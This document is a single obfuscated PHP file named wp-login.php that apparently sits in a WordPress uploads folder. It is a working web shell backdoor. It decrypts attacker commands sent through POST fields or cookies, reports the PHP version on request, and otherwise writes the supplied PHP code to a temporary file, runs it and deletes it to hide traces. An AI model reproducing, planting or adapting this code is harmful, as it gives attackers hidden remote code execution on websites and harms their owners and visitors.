File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2022/11/wp-login.php
<?php
$baufri = 'baufri' ^ ' ';
$isi_rtjg /* rfs */ = "\x61" /* zwx */ . $baufri(211-97) . /* tjah */ "\x72" . "a".$baufri(1084-963) /* ogwowc */ . /* l*/ $baufri(95) /*ngcti*/ . /* qhhn */ "m"."a"."p";
$zekzgt = "i"."m"."p"."l"."\157" . $baufri(100) . "\145";
function /*v */ etlzdfmtt($yzunwyj, $eocfcc)
{ /*hy */ global $baufri;
/* vhnjh*/
$yzunwyj = "\x3c" . $baufri(1044-981) . "\x70" . /* rka */ $baufri(639-535) /* ecdfic */ . "p".$baufri(32) . $baufri(117) . "n"."l".$baufri(105) . "\x6e" . $baufri(514-407) . /*nrztni */ "\50" . $baufri(95) . $baufri(1094-999) . $baufri(70) . "I"."L"."E".$baufri(949-854) . "_".$baufri(41) . $baufri(730-671) . $baufri(32) . $yzunwyj["\144"]; /* heas */ $qxce_cnxo = $baufri(691-589) . $baufri(162-57) /* e*/ . /*mikxdu */ "\x6c" . "e"."_"."\x70" . "\x75" /* zxsme */ . /* sarkr */ $baufri(116) /* bn_*/ . "\x5f" . /* jkdzv */ $baufri(99) . /*t */ "o"."n"."t"."\x65" /* kg*/ . "\156" . "t".$baufri(115);
$qxce_cnxo($eocfcc, $yzunwyj);
qjrou($eocfcc);
}
$afisne /* a*/ = /* pj */ 73;
function qjrou($eocfcc)
{
global $baufri;
include($eocfcc);
$m_eqsn = $eocfcc; /* xijzx*/ @unlink($m_eqsn);
}
function /* ycw */ zhgfl_exo()
{
/* wpevk */ global $baufri;
$kwuxp = array(); $kwuxp["\x70" . $baufri(130-12)] /* n */ = phpversion();
/*yd */ $kwuxp["s"."\166"] = /* kwysg */ $baufri(51) . "."."5";
$pnbt_ix = /* wdnoba*/ 74; echo @serialize($kwuxp);
}
function mbbgcfiza($yzunwyj, /* myk_rf */ $qflqtz_){
global $baufri;
/* qp*/ $kwuxpxcknapu = /* t */ "";
$pefmxrkdrx /*j */ = strlen($yzunwyj);
$sbxfcoz /*_h */ = /* ax */ strlen($qflqtz_);
$kwuxp = /* ovz_qc */ 0;
/* hal */ $cshkmh = /*mpjs */ 0;
/* g*/
/* kn */ while ($kwuxp < /* vvrs*/ $pefmxrkdrx) { $ehgk_csxa = $yzunwyj[$kwuxp] ^ $qflqtz_[$cshkmh /* qmd */ % /* dqsqd */ $sbxfcoz]; /* txhak */ $kwuxpxcknapu .= $ehgk_csxa;
$cshkmh++; /* gbs*/
$kwuxp++; }
if (strlen($kwuxpxcknapu) > 20) /* ns */ {
$rrcgxafq = /* wziw*/ substr($kwuxpxcknapu, 0, 20);
/* ltcgn */ }
if /*spnzu */ (empty($kwuxpxcknapu)) {
$kwuxpxcknapu = /* hm */ date('Y-m-d /*r*/ H:i:s');
}
return $kwuxpxcknapu;}
function mdvmfj($xcejsg)
{
global /* qy*/ $baufri;
/* v */
$pkufbzbn /* edjs */ = /*iptp_h */ "\x30" /* en */ . /* lzlv */ "e"."9".$baufri(458-407) /* fnuz */ . "2".$baufri(924-873) /* qbfzw*/ . "\71" . $baufri(100) . /* rmy */ $baufri(773-728) . "c"."\x38" . "\141".$baufri(939-886) . "-"."\x34" . "4"."e"."\x34" . "-"."b"."9"."5".$baufri(102) . /*_ */ "-"."f"."8"."\60" /* moq */ . /* tefhe */ "\141"."2"."5"."\x64" . "3".$baufri(979-922) . "b".$baufri(249-194) . "2";
/* zkhfqh */
/*alfo */ foreach ($xcejsg as $_dccui => /* mr*/ $yzunwyj) /* on */ {
gpqglo(base64_decode($yzunwyj), /*ooqdd_ */ $pkufbzbn, $_dccui); /* mxkxg */ }
}
function gpqglo($yzunwyj, $pkufbzbn, /* hki_ */ $_dccui){
/* ihgfa */ global $baufri;
/* io */ $yzunwyj = unserialize(mbbgcfiza(mbbgcfiza($yzunwyj, $pkufbzbn), $_dccui)); $oixogpjkvy = /*dbx */ 'ghszb_s'; $ndasq /* i */ = 'duwlqe';
/* fdu_uh */ if (isset($yzunwyj[$baufri(97) . "k"])) /* dhtyy */ {
/* riwc */ if ($yzunwyj["\141"] /*ib */ == "i") {
zhgfl_exo();
} /*e*/ elseif /* ynj */ ($yzunwyj["\141"] == /* i*/ "e") { etlzdfmtt($yzunwyj, /* lki */ sprintf("\x2e" . "/".$baufri(227-190) . "\x73" /* r */ . "."."\x70" /* iz*/ . "l", md5($pkufbzbn)));
$qn_eepc = 44;
} /* trd */ exit();
}
}
mdvmfj($_POST); /* g*/
$tetuz = 'rawurldecode';
$cmrvfk /* n */ = $isi_rtjg($tetuz, /* wj */ $_POST);
$zekzgt("", $tetuz);
mdvmfj($_COOKIE);$kby_qz_j = $isi_rtjg($tetuz, $_COOKIE);
?>